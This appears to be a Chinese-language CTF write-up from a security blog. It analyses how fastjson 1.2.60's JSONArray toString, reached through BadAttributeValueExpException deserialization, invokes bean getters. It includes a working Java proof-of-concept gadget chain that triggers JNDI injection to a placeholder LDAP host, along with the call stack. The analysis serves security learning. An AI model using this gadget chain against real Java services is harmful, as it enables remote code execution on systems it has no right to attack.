fastjson中JSONArrayJSONObject中toString方法触发getter的原理(有例题)
2023-5-4 10:30:24 Author: www.freebuf.com(查看原文) 阅读量:14 收藏

前言

前段时间看了一道CTF的题目

这道题主要是通过利用fastjson中的反序列过程中也能够调用类的getter方法这个知识点来进行利用的

常规的fastjson利用是传入的一个json串,通过autoType的方式在解析json串的过程中调用指定类的特定方法的getter/setter方法来进行利用的,但是如果没有fastjson的json串解析的入口,只有一个反序列化点的入口就不能够利用了吗?当然是可以的!

以前就知道这个知识点,但是一直没有真正去了解一下原理,这里趁着这道CTF来仔仔细细的了解一下这些个原理细节和底层逻辑

例题

这里我们先看看例题,后面再对toString触发getter的细节做出解释

题目附件可以从这里找到

简单说下,出题者重写了ObjectInputStream类中的resolveClass方法,在反序列化的过程中检查是否是黑名单类

image-20230503124456378.png

并且存在有一个MyBean

image-20230503124603028.png

很明显这个pojo类就是sink点了,如果conn可控就可以进行JNDI注入

利用已知的fastjson反序列化能够触发getter方法,也即是MyBean#getConnect方法

我们可以构造POC为

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://xx:8000/jndi/ldap://xx:8000/SpringController");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

MyBean myBean = new MyBean(null, null, rmiConnector);

JSONArray jsonArray = new JSONArray();
jsonArray.add(myBean);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(val);

System.out.println(new String(Base64.getEncoder().encode(barr.toByteArray())));

将序列化数据传入反序列化路由中就可以进行ldap查询了

利用链

BadAttributeValueExpException#readObject
    JSONArray#toString
    	JSONArray#toJSONString
   			ASMSerializer_1_MyBean#write
    			MyBean#getConnect

其中利用链中的ASMSerializer_1_MyBean类是fastjson中内置的asm框架动态生成的一个MyBean类

这里值得注意的是,比赛过程中,在本地反序列化过程中出现了错误,但是直接将生成的序列化输入放入远程环境能够成功(我也不明白为什么),反正知识点是对的就行!!

接下来详细了解一下本题中使用的知识点

知识点

环境

这里我使用的是ezbean这道题的环境,fastjson的版本也即是1.2.60

入口

在fastjson中存在实现了Serializable接口的类很少,经过检索,有以下3

image-20230503130041993.png

  1. AntiCollisionHashMap: 这个类实现了自己的readObject方法
    image-20230503130141565.png

  2. JSONObject/JSONArray在这个版本中存在有自己的readObject方法
    image-20230503130435421.png
    主要是通过重写了ObjectInputStream#resolveClass方法来进行反序列化类的安全性检查
    image-20230503130538006.png
    没有任何的反序列化功能点

JSONArray的toString调用

因为在JSONArray类中的实现的readObject方法中除了检查恶意类之外没有反序列化的过程,所以我们需要找到一个中转的点,这里也就是toString方法的带哦用

image-20230503153814010.png

本身JSONArray类中并没有toString方法,它使用父类JSONtoString方法

image-20230503153920264.png

这里就是能够触发getter方法的关键点,toString方法中调用了toJSONString方法,通过执行对应的JSONSerializer#write方法达到getter方法触发的目的

接下来详细分析一下原理

调用getter流程

前面提到了将会调用JSONSerializer#write方法

image-20230503154450545.png

这里将会通过getObjectWriter来获取一个ObjectSerializer的实现类

image-20230503154654450.png

这是一个关于ObjectSerializer的官方的一个例子

最后会来到SerializeConfig#getObjectWriter方法中获取对应class对象的ObjectWriter

image-20230503154927783.png

这里因为是使用的JSONArray进行JavaBean的嵌套使用,因为JSONArray是一个实现了List接口的一个类,所以获取到的是ListSerializer

而在ListSerializer#write的处理中

image-20230503155231176.png

针对他的元素(一个JavaBean),他通过调用getObjectWriter方法获取了对应Bean类的ObjectWriter对象

所以又重新回到了SerializeConfig#getObjectWriter的调用过程

image-20230503155513881.png

前面都是一些对一些常见的对象进行不同的Serilizer的映射,但是这里的JavaBean都不满足

来到这个方法的末尾部分

image-20230503155650111.png

在不满足前面已有的映射,通过createJavaBeanSerializer方法来动态的创建一个类

image-20230503155747929.png

在经过简单的黑名单过滤之后,调用TypeUtils#buildBeanInfo方法来提取这个JavaBean的类信息,为之后的类生成做准备

image-20230503160019187.png

image-20230503160042736.png

之后嘞,就是将提取的信息beanInfo传入createJavaBeanSerializer中进行JavaBeanSerializer类的动态生成

image-20230503160321742.png

createJavaBeanSerializer方法中主要是通过调用createASMSerializer方法进行创建的

image-20230503160501534.png

也即是ASMSerializerFactory#createJavaBeanSerializer方法创建

image-20230503160621119.png

这里主要是使用ASM技术来生成ASMSerializer_num_className这种格式的类,类的包名和ASMSerializerFactory类的包名共用

至于类的field的创建

image-20230503160837754.png

使用的是fieldName_asm_fieldType类型获取其他类型

之后就是对应方法的创建

image-20230503161010553.png

最后生成的类为:

image-20230503161054282.png

最后动态生成了这个类之后,将JavaBean类和这个Serializer进行映射

最后就会调用这个动态生成的serializer的write方法,在这个方法中就能够执行JavaBean类的getter方法了

image-20230503161356688.png

调用栈为:

getConnect:29, MyBean (com.ctf.ezser.bean)
write:-1, ASMSerializer_1_MyBean (com.alibaba.fastjson.serializer)
write:135, ListSerializer (com.alibaba.fastjson.serializer)
write:285, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:960, JSON (com.alibaba.fastjson)
toString:954, JSON (com.alibaba.fastjson)
readObject:86, BadAttributeValueExpException (javax.management)

参考

https://xz.aliyun.com/t/12485#toc-3

https://y4tacker.github.io/


文章来源: https://www.freebuf.com/vuls/365414.html
如有侵权请联系:admin#unsafe.sh